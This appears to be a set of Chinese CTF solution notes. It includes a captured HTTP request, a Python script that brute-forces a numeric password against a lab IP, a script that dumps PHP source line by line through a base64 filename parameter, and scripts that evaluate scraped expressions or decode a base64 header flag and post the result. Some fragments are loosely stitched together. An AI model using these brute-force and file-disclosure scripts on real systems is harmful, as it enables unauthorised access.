POST /?yes HTTP/1.1

Host: 114.67.175.224:11711

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 9

Origin: http://114.67.175.224:11711

Connection: close

Referer: http://114.67.175.224:11711/?yes

Upgrade-Insecure-Requests: 1

pwd=12345

import requests

import sys

from multiprocessing.dummy import Pool

def run(i):

    myobj = {'pwd': i}

    print("正在测试：")

    print(i)

    x = requests.post('http://114.67.175.224:11711/?yes', data = myobj)

    if 'flag' in x.text:

        print('正确的密码为：')

        print(i)

        sys.exit(i)

        return i

    else:

        return 0

num=[]

for i in range(10000,99999):

    num.append(i)

pool=Pool(5)#5进程

result = pool.map(run,num)

import requests

import string

import re

with open('source.txt','w', encoding='UTF-8') as f:

    for i in range(0,50):

        payload = "http://114.67.175.224:19757/index.php?line=" + str(i) +"&filename=aW5kZXgucGhw"

        x=requests.get(payload)

        m=x.content.decode()

        f.write(m)

<php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

?>

import re

import requests

url="http://114.67.175.224:16740/"

s=requests.session()

text=s.get(url).text

fun = re.search('<div>(.*?)=',text, re.S).group(1)

num=eval(fun)

key={'value':num}

flag=s.post(url,data=key)

print(flag.text)

注意利用了eval字符转换的特性，num值会因session改变

其他都是爬虫基础

4.速度要快

响应包

HTTP/1.1 200 OK
Date: Sat, 25 Jun 2022 16:32:09 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Set-Cookie: PHPSESSID=sohpph0agi7uj9stbgigar00m6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

flag: 6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogTVRFM056azM=

Vary: Accept-Encoding
Content-Length: 89
Connection: close
Content-Type: text/html;charset=utf-8

</br>我感觉你得快点!!!<!-- OK ,now you have to post the margin what you find -->

import requests

import base64

import re

s = requests.session() #建立会话

url = "http://114.67.175.224:16031/"

head = s.get(url).headers #返回字典

result = head['flag']

result = base64.b64decode(result).decode('utf-8') #第一次解码

result = re.findall('(\w*)', result,re.S)

result = base64.b64decode(result[5]).decode('utf-8') #第二次解码

payload = {'margin': result}

print(s.post(url, data=payload).text) 

与3类似，正则是凑出来的...将就看吧